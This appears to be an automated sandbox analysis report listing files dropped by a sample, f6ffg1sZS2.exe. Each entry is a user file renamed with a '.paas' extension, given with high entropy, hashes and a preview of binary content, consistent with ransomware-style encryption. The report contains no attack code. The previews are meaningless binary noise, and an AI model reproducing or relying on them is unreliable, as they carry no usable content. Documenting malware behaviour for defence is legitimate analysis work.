..6{.:]...Y.e..X.......!.v.>]H..)...E.k2'&...e..@]w._......W..ef.....[....#....j...&o...+.&...&p.j...5)d..6oB...$3o.\._.L..;@.]n.[..6w.3...].d.k.

C:\Users\user\Application Data\Microsoft\Windows\Recent\IPKGELNTQY.mp3.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846084093585854
Encrypted:	false
SSDEEP:	24:z0/jx7ZSbhVy3/AkdxA6BzP7M4yd7AyRZ+s3a6+pkMGNJbD:YN4E3bq6BTUAyREHr3GvD
MD5:	A1D1AD96EB260D438F22F3089AFAFACA
SHA1:	42A51F60B4F7A722F8652435BCD80CA35A6F63E7
SHA-256:	6939A35D75B09E518AD3EF86CA5FB536BCDB0F8A07743276C418C75E2377872C
SHA-512:	5EE18A1912966795CD27D0C92B6457097EECAEBAD9A9498D4C56B8B4CC08CF301280076277A4926622B8FB662C7C44C900AD22BE4951D175906F458DFA8EFC91
Malicious:	false
Preview:	IPKGE..#...=.....:1........eR.5...[l.x.V.+.N..p..EIz....)....P.lF.x..9.=...MF..."....`.O.o..r...].....z.\|}....6.0;..h...4`..vidO..s%........WU..J.Z..f..'.J./..t.......X.Z.r........,@.z..z..B .S.._?...+.eU.A..4.I.'.kV.tJ-8/..$...V.^6..KT......3U....a=........O}...bK..u~..OwU.>.X..^..D.T..x.#...z...Q........oA....%.y.z.Q\|~.y.V....\|+......B..A..728I,moT.LL%.;..iH.W..S:..9(.A.p)...weG...R.....1...Y.E.n.).h\..f.../J..[V..@88I.....O.....g...O./J.x%^..0....S.@......-.$.)K+<..c...Q.V.q...u..f......w.J..3M.2.Z,.A.6j\..m..~TD...,..v..5u..8<.........6...Z..%).....[Ff...j.p...~.\|.....%....R.>.....@..n...Y.......0....F..x....:.w..L.B..-.B.A....N....4"...)o._^...\.~..=.......9eu....T.w....^..9g..Lwr..eo..........g.^..G..'....d^(s.~.f..i..&.E.....(..[...9......(.d.f~...\.F..z..zU./.1K..X...@..I.!(..u..6!+.......b.W..T7.)@....-.5..mOs@.&x.}.3..Jyp.x.L.i.{.G)...:.M..d..V@.D?U.E.n,....j..9iL..T.V....>G.T..1i.....}~+wJ..j.F.h..>i.C<.g.N..l(.....

C:\Users\user\Application Data\Microsoft\Windows\Recent\JSDNGYCOWY.png.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837935323264855
Encrypted:	false
SSDEEP:	24:KdZBDE7KG7pvtrndQBXMtTWjkrd29JSq9FQFkWkyNMCS3bD:KHBw2G7ltjdQOtigYbSqDWIC4D
MD5:	A11917754F7E1549623B6FD1D9040414
SHA1:	C15AE02F5886669595A7693DE170301B98B0044B
SHA-256:	0F053A0F44CA236E950971BEB0324CF927082AA9EB5412C46A38747325FA46C2
SHA-512:	86D5592A587CA9B2F95E577F733C346B44AFFD91F7ADFB03716B6E73768ED5DBD37591E71786E8ED9DDB8BFAF907DB4C384988BE56EEA1B5D26071DCBDE3375D
Malicious:	false
Preview:	JSDNG....N..n.o..l.\|H...S.......~......9..MWI....q.M;...&sr..lv..d_...9..M.<6l.."._..z.!..S.0;...4.F.4..........:...y.AD......2/.....N.L.,.^...c.<.l.';.4PDj........h.P.e..N9....;...J...k.2..m.3.%.....F.)'..'.q.....3%.ki.j.Kq......zj$.U..:...+.T.nQ.. ....\.{cg..../...U..xq..m.'.D.#.H...:.c....G....8..;r..O...e].KZ$.L..zT....L.0\|....xs%....8...0...../...>.O....D..EfX..._..m.1q.K..(.+.^........\{..N.I>1.(...].B~.(.`.D..o .;A..!.....r..8...\|.c...O....c.?..........Z.bI.k.......qJ.]kidt......FI.......:.JT.}...R..6..N.]g....g..[[..o..Z.^.J...L...z...".......QTP....BE.@.{^F...]G.>(...@s.....h.v..k..1....R...D:......4..f.G.l.9.........L....I..n5`.A.Z.[8.-..QP6.....Xa3.kE.@...\|. 77....{...HG.Ke6.:#.m.r..W.F..N.7..4c...-.....=...'.hKw.Rv..tF.b.....7.[....ZJ..E\.!R.$Q.}+.K..z8........~...7!T.:...y.3.....a!.I....2..0..........<...@.3.....@.1...R.=.............%...(...w._?........c.O.G..g...k.>?..'B.z...9.8..'.....?..j.e.(A.(Z..`.;.&.w./.>......#5E..7

C:\Users\user\Application Data\Microsoft\Windows\Recent\KATAXZVCPS.docx.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8296096164149915
Encrypted:	false
SSDEEP:	24:9GfYxulB21n/+Fn/4LwoIsdIUGWdtIY6X09Llt2TMCRYvMpJbD:ZxuK1/+Fn9s+U5IY6k95s3gYD
MD5:	C69063C393A7A3EA5D3FC84C5BBA5F62
SHA1:	F321747A1C5D21DCAC993493FDA95A3F575C78F4
SHA-256:	1100A5CC792F16A1AD10B90D753C5103F1321825CE5DF5D2EBA209420056377B
SHA-512:	451088F295734EC6EC4446790E891F586D14296C1EC814917553036809C7055BE131B4A0A750A6F7F8F43F062B4D9CCF37801A4E1671BA3D55C3E55920E291D8
Malicious:	false
Preview:	KATAX.Ts....+.C.^^.. 2.R.gw....p.\.l.t.....Z`L.U.F^>d%+A...-.51UA..:........!....\|.... D..J...`..d..r...m1._5..u....[.t(....)W..\|X.....y.....;0`;...x..(........>X..R....F...^..^...@:D%m.9...,4.....-b4..H/....p..:.y..."b5v8.Q.....I._YU.3.i..A.96...#...p..4;O)V.&.....6..R~.V#u.y.&W..U.....4k.i..:.+.o......0@...._..i[XS3..>..C..../"...<3.......B....Q=.qhaI:.....u<....s;7......tjG..R.........1jn.I]........[.f*-...VlNI...3...G.M1..;...P.[.Q..xQ....y.8..... ..WZ)......N.k..2d...!.. .[C..K8u+.......1..B.H..F2...4.g..../.o../.eS....(..;:....\..4.-^R..N.V.[...N..7..;..[.....l.E.r.:$.}...q6~....7.2.q~Fs........g.[\|..H.f.eZ..x...-lN.....@..M`..=8M8.n......."=.3.........C...8....NK$m..X.4.l..f81\...i...?.a.P....D.t....f..Q...............4..dU...T........].-....39.7..SE."...T..@....~.A..d.'...m.... @3!.3.7.`..%..R...............r.J.XA_....9..%U......bE}G..y5."i.^W_..4....F..L...R.0.'..8-J.I..M}I.L>A..z..'....}})..8..b...z....X:.............6...#.o...7C..-G.8..

C:\Users\user\Application Data\Microsoft\Windows\Recent\KATAXZVCPS.xlsx.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857498662409837
Encrypted:	false
SSDEEP:	24:fvLSveL5zK/ZUTnTQRXwVs2pSmreH+mL7VUANdEjhMxTd7y47wJJubD:HLOeM/ZUnUAa6SmrmHVUJjq57+JMD
MD5:	E12E5CF7376B5F18FA66298064F4C45F
SHA1:	3CA97160037301C91EF8F5E59BF5B35700B2B620
SHA-256:	F7C44B85DF4888505AE24FF9763191FD734AD4E7E9968246E547F904C9B6170A
SHA-512:	F7F6EE13A446C0BF791D3D994C4543C05C3F71F0198E00B62ED266BBEF0E3E0198362650E9973D7826F4D705252EA3EC3A3960407C668A0C0081D1B7B118302B
Malicious:	false
Preview:	KATAX..F..F.E.".+J.K.t......q..tM...N..J.onWZ ..RR/..$p....h.".....F......f.-5..D..X...{Q%.b2..]._..S...Iy....AO.y.\..&p<../.7..B5ZE.......g.ayo_=...z...;.S.2..+w;.....B.r.w.P..0.V.GQG...l9y..0...j8.gq.{1.`.t5.).=^........\|.S.'..s.~b......^..O....\|..F.A.c0.F-V.....H.\|1......`....S.<4....~...m....gj-\.6.QB/.d......to.-c.D.....h.5.%.........3.S.._./....]Z.K.J#..(S...f.A..zxz.C...J.f.r..>}.6Do.....,-.NM...~roH.e....G....A....ve..J..j~.Y.D....O.NY..9...~\G..l.I<wb<..J2...D.].._.'.(....q.Ta...4.sm.ia.....]..kgt....CL.~T........P._<.{;........oh=.\.....3.Lf..s....P.L..-0.^D^.s.3R..j5..N4.I.....gB.P...6....-.X...851...BU.5iQ../...0.].....f.=v:h....,.[}.....8d...!..A..2...Y..(z.......>.k..#...l...y.}c.5(..fx.Dg.K;Me...V.9K..l.an....+..e...Z.%....%.... .d.<k ....soa.F A..sV.W.&....DY...)...q....g..[.!.i+...M........j..B..4......v5..f.....DH.U.#4]..$=_jF`...o.i..RX....5..X..4.g<c...h...A.Q.[8/..(@..:.{...8..).t.>ts.....7....L{..%.s....p...

C:\Users\user\Application Data\Microsoft\Windows\Recent\KZWFNRXYKI.docx.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.829720205684423
Encrypted:	false
SSDEEP:	24:j85vV7e4TjcC4QI3580hoyb31aizRibSiMAYh6xFAKQQVXaCnytkigjtXSmbbD:j8r5Tjc/360CybYizmSZj63AK3yKRXPL
MD5:	F69DAC1F9FF19CD1FED07B3BAB352B2B
SHA1:	DC20E5D05E1D661F22868A65408BF462416D8376
SHA-256:	8B3239B498453A68F967E450851D4717BB5637E1B554B1DE0795F6D20294B8D7
SHA-512:	55E3F6ED6F4247D6511376263AC690E84CD218C70AA09DE38DE34BAEF50284799A5E82DA708AE7D25760EADB6061DB015852B1E4BFDAA1D98FFD7480F59FBAA6
Malicious:	false
Preview:	KZWFN.%..B.a.^...76..n.f.Qz.L-~J..........O.O.}..L.hr..okK...W]..L.m..bbUTJO.\|!.3.H..X.To...N.1.a:4...F.G\|....j\|..1........'G..%.....#H.Vyt/./.F...r.dN..&.}..~...>......ar5....2.......<.s..R)..N..[...$.b....6J.[..v.}.C.i..!....taV0<....2.7.U@A.XWJ.-......ry...E.3Cf....0Z.$.\|.5..>..t.....\|#.b.s].+...^k}.>...].c.^E...aq..[.A.g.:.lS...V.Z.w.Y#M.a...k....x?.P. ..../..R..y..H..0.n..f48....aj.....7.....-....../.F..N-....b@...._.2.x........G.1y.........r....9J.5..n,.,P......B1..l.9..x.{..yh.m.[\/..>...l1..5C .z.#6H...q.ww.Z....eq\Z......]..s.`(.1...rS!.D...n....m.F.Q.639...y..-..A5.d.>n!.N...v...../8}g....9...i.6/.....n...\.=....y_R..y..j....m..@I.....G...v~X...I.)...~<U.>o......}8.i.\.{..7....2...[wW.)!..#"WJ#....m\|.U.....Bu..hc{..}..f.VWLH..Yg...F4....2..t;?.J......Y...m..]....!Q..S.@.@=.!X.P..p........r..u..$.W3f2=.3C...":.@g.%.....Z^.. ...-..s!.....b.gj./.....O....77yr.DE.......j.VUJ....2.2L....my^C..t.S,c.K!B....6...h..............M....=-

C:\Users\user\Application Data\Microsoft\Windows\Recent\KZWFNRXYKI.pdf.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84575824747059
Encrypted:	false
SSDEEP:	24:b45Fxc8rC/ZeSQCaI6V8y6V3ovHkeG/S8bFCKNFY7yUtMznOOm40TRohx8Klbl6h:X8rGDVU8ddovErLBNIyFiOP0aVUelZTE
MD5:	DEF42DCEEAD6AEF87D68985919DD2C80
SHA1:	EA020CB627C7E07DA0364CE0C8E156F0BCA43EAF
SHA-256:	FB3CBF2127BD85678CC794F7469E75269ECF612A604C85FDD747E2651F046F53
SHA-512:	19999E2991E376999BD3E8E37214915A46D2CD3D1040591158278FB1022ED69534C44D077A5622161B162A42D833C4910BE724900BB0D7D8B234F8B38C25451E
Malicious:	false
Preview:	KZWFNX.,.<+...[1D.\|js...1.......+.>D.HyIP3.i.o....C........[A&,c....._>.4.\|/......).....?......7..:.1..2F........-+7..."i.a..c6.D.2`.Z.PO....^..;.<2G?(.q....M..../..0m..j.C....i(..HO.J.q.\|V.A..FH"2.........j.KF..$.Pt....B.<...5P...!.^4.WO.{@.....w.....?.-.S.....?.P....I&.y.H...ynS.#......\|..lu\|.^y2..T7.$.......E..D<..}..f.\..U...)&..)2#a.....L.@..t..Ic.s..vpS.V....9.L.&.I.`~......!...UQ.......I..r.....?.....t..\.Z..2.t.DJ..O.Z@...=H"K}........l.....\|.x...=..M..e.m.Zx?.mj...%.Hc..7.(O&..T.......k.5Y.w..!./ ..t..-..g.Z...#Hk.q.]..X...UhP2.fI...i.......=..N.W.....9.... (.......$..\|x.)..A....{..../j.+a-....[..!:...OoN..5..&..J.e........TU.uOm..9.=.....\|.........4..L..&...t...+..~...Xp..g..'..r..aF...>H.F..I.30H.\i\/j;`.H..C...p.$..?[._`..{....B...f..L..y..'.gL.4Oo..8..1....2..../.Z4n.{......$a.z.S.9.[...%.....-k...L.&...d..~....._g......68......K.krCD....].E.X..@1..+.(.._..).B.......4.In.!...v...= ....&...n.5...[..O...Z..].1~.....&.

C:\Users\user\Application Data\Microsoft\Windows\Recent\LTKMYBSEYZ.png.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85025120043178
Encrypted:	false
SSDEEP:	24:f1Cx8/fb9eWjXOrq0HqDNX4iNM/EVDMl/JzlVg8mOXS5JScEponoeHeItHybD:dCmD9eWbOGP5Xy0DEJ3gY4QzKoe+ItAD
MD5:	30DC2BA3823788F74F15520632745C4F
SHA1:	F06C6C2933868E376D03DAAC97B917F79457287C
SHA-256:	EE708859F173EC6E96A2714C970437303DCB62AF058E5F1759F13D07EA5D242B
SHA-512:	EA759215745D3D39E65FF23A470A1F64C7118F5CF9E09072E11F771EF7405ABE418A4195CE6126AEF6EFAF63882C69565BDD1EBEC1DA10F8C04060D714617B02
Malicious:	false
Preview:	LTKMY.z......a..3...-...c_.'.-...J../..k.(/4l.o9.>.s.qB...I.d.s..#......S.Z9.Z.....>jj....W..=h....b.. ....NqJ......].lG4c..7%c..SJ...q.@...".Tc^...o.8......M....l.l....1....~.S.c.i^.0..\i.._._H.2_.z..Q6.$..A2...4..!F...h..BE......Wn).N.V..w.$...ZKb........L5[.......ik..a.FD...e0`\.v...m7S.o..z.s....4h.=.4..uZ.5......u....%T=hR...M..m.j..V..m>.`4.b.....<.NrU...}..H4.5.$Z...:.tZ.wp+.vd.ck.w}.....?V.w.......t=..}.~wat......l.&.u1$e>.'.Q...h'}.........qz< cuV............A.hj....#D2.#R.b..u9tU()..i......~Z.\|........o.dR...<.:...A.p...]+...Jp....<7.i......8..g..s2../..<v.P.Wa-..zG..J.%KNV....h..p~..b..J0yU.B..%.u5...6.o.E.._!t.Ia...akR......C.........X..E&..J..X...nF...2........2.p......ijO....qL...4.N.$...N.VIJ.3N..\|w......`^rPr$.RX..?....`.2......s..........6..DZ+. .a........&.7H\|..\.....\@.5...p.3u.mbIoy.3..f93.......I9...D$.T.z..a.0.@...].U.0......gA...:v(L/...K..a....=.. .y/....#.2~.+h.*.........3..?\8..1l>.r.../..1.b-i......V7`U:.

C:\Users\user\Application Data\Microsoft\Windows\Recent\MMYRLSINVP.mp3.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852017986008695
Encrypted:	false
SSDEEP:	24:wShL8TEeUSJlo6NNFVozpeR8Dbg6IyKTaEgF+5XDiR1FYOyP4bD:1hLQEeU8RNF0Lbg62c+pDUh7D
MD5:	21D81A4B74BD64037095B0E8A19FC97D
SHA1:	78D536A4A062FDE7CA27A400A8465D93B38CF156
SHA-256:	715FEA771DA3217C4C092E1947A19E3EF08D51409973E11043E0C9436623DF5B
SHA-512:	D29432CC2024B47F0886292C93A566FC88B1E96B5447D2F52BF3406DBBEAAE169CF1DC57F6A59CA31788B8A142350670E86024DBD6E244B66F97452D5E3AAAB8
Malicious:	false
Preview:	MMYRL.7...ya.H~....y...7"h._S.8Nn.u..g.A5...._.;.g?.....Z.....0RZ+....?.S..4.,..n....uO,.......!.}\.q.......h....y...b".4..]..,a.S...xn..=..2:.....":q..U.w..,...V..G..i].5QU.Ce.$.;..+.B).<.W.(.H\.....G59Z.ZLN.N.WA.......xB....lh...^f.....rP.s......5'.p(.Gqy.wY.....C..k[.(.u..9..../.X..iK..;.!....5.....D[..20.~...bi(..!\]..4...#..4.)....!......<P...>>.7..0R...a6..\|...5..tT..Z@..G....)./.&...r..h..7..#v3..c..F.h.....C.Nd.L.\.@....j.......F..JN.)F{.W.e..x/3.r...wk.6\|..d.....!(....F/.'...H...s.../.......$..> ..k...t..0c...]=.........S..z.{.co..3J8...&...&e[:..+.....o.j.Ac..y.p..9L...7,.Th.Y..e.......q.>...\|...qc..."..k6...\...a..".!..4.N".K..X..F..<Gb#.L.^.<S.f.K.&re!.6..>..+...H..b4b.qO%..,..%I.U:.s..ml7O....q2.+..}.y..@IC...Y7:....\|.c{..At.E,8Tf...Bt......q.).\E.I....k>...W:p.k.....K.@Qa...?X.......B/R..g..*.bC.j..).}..'5.6.G..pZ....\|F.F.a...H.."}0.JZOD(X...D}...l?M\|8.\...}@n......=.A.4{..1.6w.u]k/..e....A..D...m+..##..(.9Y...;....j..

C:\Users\user\Application Data\Microsoft\Windows\Recent\NIKHQAIQAU.jpg.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.831970896733677
Encrypted:	false
SSDEEP:	24:UZevcAszLEYc21KVb0KtSaoCGRGBGojXC73/YJUjiZLhiAbD:UUcAaoHoCGRGBGR3iM0D
MD5:	FEE0A45A2834BA32E7C81F85B9DEB0A4
SHA1:	4F55838394285993FB622F2DB2365584B7B40536
SHA-256:	8B166314C9EA05D8C205D19362B25A9BE02F8C5439C3495194EFAE5BC6C31D54
SHA-512:	0E0B9F69445F7186E4BBA9AADD8A277603C271F31DFE3F14459FD78AB7AD4EA2A8644C406B3DC3075E0C85A441A04AB09B6471DF5F1E2359EB5E4C40905D9EAF
Malicious:	false
Preview:	NIKHQ..P...h.....S..Q...\...H.....Mb4.2g.`.1B.WR..T3..V......7(BJ..=.8..p.b..>....dPf)...b...>."..u.'.-tQ2...1.W.M.p..z.`...)...}......p)...j.1......^I.<..%.:..?..)$N...E.......XA2.e.6b.........8E.s......;..9g.50.q)t.Z..r.....X...T.]!.i.YaNn.......#..+f.J......I...VV..{.....y.6..6.s.R.gq......^<.k-8N.R......%.....H....._Yh.?=u.^..`V..]..p.Y6.J>^...,.2.&@..6...;.hN..M...^T..&..:.......].e....5.AGIsM.;r.Xe.u....K..p.h3.....?....)..:.-0...t(. .xo..}..d..o.oZc.B...7..+t.c.....w..`."r`.zyt.FZ....xb\.....M....]'&.Y.N.Y7..r.........9.1......V..R...g85.#.CZF.`#.I2.x.].M.o..p.V2)/c.6g..N........F.<.oM.G<S..\|lOr,..[..i_0.N..!{./t..Y....Ko1..f..#..._:.......~.%....G.Z...%..<-...O.f...i....)G.9.2.".....m._%u.#.F.A....-Z..<.`o..dZ?.....6...I.@...u....:I..r.......t.2 .F.1P'...q6..g..,J...G...(..V.."}...."g.t..."..........y.).?..8A...%..l.M?#I.q\|/..........Y.....v.O.,.U...q71/...6..0..Q..} ...lO..)7\|....A.{..N...7S.?....y._.....(.i..2.

C:\Users\user\Application Data\Microsoft\Windows\Recent\NIKHQAIQAU.mp3.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840375984863671
Encrypted:	false
SSDEEP:	24:xno++e0bhPyRwZCZSo5OL2AsaguR9/SU/lemQbY/1K1KuPBcHuebc7rOSrbD:xo35PyRw4wo5OIY95emQbYQ8u5Wo7r9b
MD5:	E8614CCB707C92161E0B71923DCAB088
SHA1:	63D472BA57F6C67F8652C57863916BD709595811
SHA-256:	6FEF8A38BF08DB1775C94B01F1516A9EB591274F7F80DBE83F3042B6D5598557
SHA-512:	B95F637CF8E288C608DCD0DDA9526E59759D64DDCC348DA4D29008BA9AC1F18C35F455E1769023A82314E7B66451EEF015759A73923E76C5ECDD24A738CADCC9
Malicious:	false
Preview:	NIKHQ....D6....;h.....=O.`.....u..s...XLS.....z.:.r..'.G.s.......TqA...j.3.e.....'...Y..t.....ML......~;$..)Bf.6{,..\|:j..&..........f....f.X.).:.uzw..N0.-U)o....-.a.....h(7_.......[Z&.F...eL.V.....k..5.I. .m..D........=.....F(gp:y>..sn\<.1..w...k.C._h.V+.v..n........o....r.V..(..z.HIY...=:......+.LW.......s..A....=.&.j'.....Z.....]#..i.g.2,S_...#.+.13..W3..(....6X!1X....:\|oHF.........$&...{..Z.]5\s..Za.coRh.xr..].K.E.[...w..?..Y.....w..lW.]..........].U"..5m[..%........Y.AW..d...MoMg.iv..O...!l...O...\......w ....S2...0...o.3>.a.F..;c.H.q.L0.<...@^.V.C".....D......x4cb.._../...W..D.a}..P.zFb....VD.....q4.Z....1 .w.a/.g....,v. ................_c.?".@]...C...Y...D.ao.....5.!...Sj..fGZX...T.opm..A..in.....S.9. .I).!.>...k.!..U.A...C]o......^...$......3.7..$@..:.CC.g.F.w..g.+(...S..=g....\....#..b......F...m...........T]..XoDV...O.?..ao.!..Q....)..>].....DX....GL.6Qi..o+.......'v....w=....(Z..1wx.=+.2.. +4.'.[F.J...z.....B ....>...6M./

C:\Users\user\Application Data\Microsoft\Windows\Recent\NIKHQAIQAU.pdf.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.850414656723202
Encrypted:	false
SSDEEP:	24:r+9vgdMT80rFhUc+kVxhUcmb0PN65DlQM6TH8xhF5oF6N6nH9kLJlBxbD:q9mOFhokVxhU50woTHwAFYimLJBD
MD5:	EFE48FD60E2A24ADAC7ED246B89B8CED
SHA1:	4574A773DA46F27BE3CDD9E18CA138966D32E1CC
SHA-256:	52DA330EBEB1346851DCE4083E7F9C6ED8ABD7FED2C7ACF6AE9E2F4E75B7D90B
SHA-512:	5049304DF9B2E1CE2E8C0A0E082ADF3292A995F7FD0FBB1C250F66B13CFAEF96E1E87057DC4E72E6B6A5841133D757302B155366F001E2D6AE3E652D787150A3
Malicious:	false
Preview:	NIKHQ,a,Bh.t^...!.....OD. wR.v.....dH..c......w.qm...hal.....#.....m.7W..`...C~.......fF3.}.?9B>...qR.,2............5..J<]c.O.L......1B..V...Z.cz..f..J...$......v.'..j....zn.L.9.4...qc..I....e.....v..i...-.{...6$..". .tB.L.,...".9...x..9s....R....A....rhKr"...s.6.....D.~..c..+1..L....u%.....;.j..[..=.>.b..C.&8.....s.....v..Cp....J.q...UU.9....M\.....5C.}...}.p..]H.Ir4....bl..,....0.a...u.....k+F.....L.q...'.[.z.q.9....w}b....a.I.....+..&J..7)....aOA.N_......4..t.c.uI....I......x....y..F.kG.+`...B.B..l..?.s..GD.>../.....z.S......V.........c.J..Df......}A...F3xf.+...,..\K. .e#4T(...~&.`)z".......(..G.w.....8..mJ&.M..2D ...>.y..gkj2..........6D..a>(O.....1. ....LU..<......y.t.aCR.m..HW.....A..x....S....S-9m....,..$.Z.... G.Lb..[....li.pK.e=..Y."HB.-...S!j."%......u^ .Y.A.[...].n.h...to'z....X.O.VT.H?.....*...n.xECY2j..F..R......TZ,.H....;..p..Uz.FD...c%.....o\|.1....mu.(@SG.^.YH>..../.............K.D.?v...Q......p.....`.w2O.]....J.R......1fw..R.~

C:\Users\user\Application Data\Microsoft\Windows\Recent\NWCXBPIUYI.mp3.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862209557358318
Encrypted:	false
SSDEEP:	24:Ll7jbp1ebjeaZ8WJms+/n527slbnw/4rlwedfDH/K1IYIbD:Llbebjea7Jm32saSwoH/K1IYSD
MD5:	753150206F96425956AA7E5C54C5335A
SHA1:	A4614EA920BFEF48F4BF08558D811CF8636F5909
SHA-256:	E0CE72EA0144FB52A786C516CEC9482CD5375071A17EFDEFD0D1C7C06A76E0A2
SHA-512:	1961DA3ABA41C818DFA52D55C32CBF2EEB1ABC45D6A17DE3043DD180CC2464BE158D7EC327EF7BBC0CE2D564FC88D65028B506560D8D3191AC3EDD16F34EE68E
Malicious:	false
Preview:	NWCXB.........QZ......#....l...;;....\|.. =.+.Osv:V\.tN.G.2./.X0:.Gnd..(..S.&.D...1.>..LS.;...@DaJZ...`.<..n.......!p5..Y.....-...fp<k7i.!..$.o...).F..Z7.%.Kc@m.w.$/..7....Y\|C..q.Rz..eC.Y.).Y.l...a.........bnf....2tx.1.o0.H.V.......>c..hc..k.S..B[>....7.];p.XEd&..x.C...^.4.....e,...q.!.x......3.d.s....~.d.6.:.SnP-...g.EO.3.W#.../..7....i..#..1......./._...5...@Y....U0.....B...A..7.<B7M.....j...Q.J..$.......p5..t.........a...)H..A[~.r.........IU.. ON..#i...o......Mg..A..Q...S.....W..........r=.D......`r..8.hb.z.X....uesc.....3......cW...Vn..%4.E.hi..d}?...%.Q...;...C./1q^HY<.I..FH]...R...gf...K..'..../..".,a..iu\|.......7...S.T..\{d..{G.C.m.....!.+......v.T...o0...z!.I.VP<..[lG.:~.a.+.....[........'g. .Uw... 0..../l.'.?..V.......C.=...m..!.?.re\|..........<.k#Y.A...R..].V4......5...uul"<...E.M..e8..2.4!I..8d.R.....y.0R..5*.....D..,N]Z...K.........LbQ......=.Vi...e~..C..r.v.}..b./do......wt.x>QW...UF....`/..gK..:...X.l.J7..7^..{..D.

C:\Users\user\Application Data\Microsoft\Windows\Recent\NWCXBPIUYI.pdf.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85823332110672
Encrypted:	false
SSDEEP:	24:vKeOWISNgddXpjYMScRRyjHxCci7Al8JSAmSu3hf7t7tndEYYlbD:5YrZjHSSuRJi7vSnf77+nD
MD5:	0FE9A2BEA13B43E2A85FF5BF7DE240FE
SHA1:	A0B820EE59460F69761029CBE936420661AA41DA
SHA-256:	A37D8CE6E67BCDDB518B1FD89A5ECE870D2C44D5480651E49D2EAD1080377927
SHA-512:	F8CEC8B049110999B313DE0F5107628F8C2FA07A979548EA81B4FBD3B5E50E9207A6C363494DD3BC793B994C3836E5FAB46F080BB4D15D6C64A1570AEEE28173
Malicious:	false
Preview:	NWCXB./M.U.6 ...Bs%I. ...F.....4..Nr.P...h.0U..c.r........R5....a..V-\.zZ}.6.......&....2_T....h.tX..o...Lm..p.%../4\..I......w<.M.8...G.4^...~.@'..H.....y;8,.W...Z...C.Q....(....H..1...l.....To:j.!.N.B2........,.Uq...........1-....U'E..-..T.!.>.B.#.m\|WA....x..P.....H./..C.b..gNbB.KG..O...S%!S.._.............;eRg....B..I.`.c....B..!.:.l...V..?.9}...y..p6....f...~..&&..C..D.....6.v...z..(...x!......-$`..)R.'.....Ss.-.....fj..T!.5X.q...u;P?.D..W?.._....~3..K>.\V. =..M]...i9... :.A/m.8f.-...t.5.m........2.]...5.{.X.w...E.j@rCy.M..B...Y.-?5.A...8........E.pe..P0..y.V..`.m...B i..A..k.3n.uF.....g.S.C.V:.0P=u.N%....F7..../.Uy..F.W5.M>....GP+\|...L...J'}.O-.u.[..a.]}.k;.....".....mUT.........V.~.oP.R2. ......L.R....'a.y..........48.u..0K".HI{.q.vT.Z..w..h.rY...R..!....6...L_)..`?.j.A.Q.%..b...D.W..h..J.;.]h....<..D....~.v...z.......,..)h.y.....b3nx=.....x.......j...E........Ea{t0.K.:.R...l]......V`.S.K.U...4.{...q.o..".Z...p.hZ=r........G..Y.

C:\Users\user\Application Data\Microsoft\Windows\Recent\NWCXBPIUYI.xlsx.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843660141285492
Encrypted:	false
SSDEEP:	24:HcGZX1/ppRylMeSj7et5GVM/7bSR0BCVWgOFCUrnNbWIMi4KFIubD:Hc21ZHeCiGU3B6OCqlWK4wIMD
MD5:	75E8EC8DD0A6A87B96EB15B38DE04A33
SHA1:	0C7D002F7C6942EEB778EF5F20266E4AA81C87CF
SHA-256:	2C3B9AB55ED39D2DFD7896C2B7196185167BB7D80380CB3A1EF5EA4172AA040C
SHA-512:	CB52176729FA1D88E1FB3467FFDF1245D7C7E6C130841571A3EA05C1779876596595809094FB48AB6C39983F551B1FA021FB0A111B6C275A8AD746CA41287682
Malicious:	false
Preview:	NWCXB...FWGt..I6..../t...6b.........v..0.jj..x'..._)p.X..~. ..[..@.9pl......F=.Mz&pr.c`Tk....]....T..w..6oO..".o..N.Wg..Oo..^.T..i\..I...6.^.1......[9.V...B.........4.B.h0.~...<l.2..L.H..Xm..u.^..j.o...[p.rA.'.9g.......e4..v.%....)..6L..g.@......\|.4{H......O.D\|{O..M..".$.....G_E.........n....GR..\|T_C.YY........o.S0.{.y9.B..[w..."..\..e;....,Ct....d..`...dZ/D:..`y?v.?c.7G..J.CB.8.;.JP.&.X..[....@).4.'.:.....T.....).#....J..{....CC..u.a.=.e.....u?.E.W.....uX..`....I......C.)...^..5r......1.,..a6N.....8.[$...._..'.......Co.arI3...4.. H.d...b.D.g5T...Ih..Ps..x Y+ 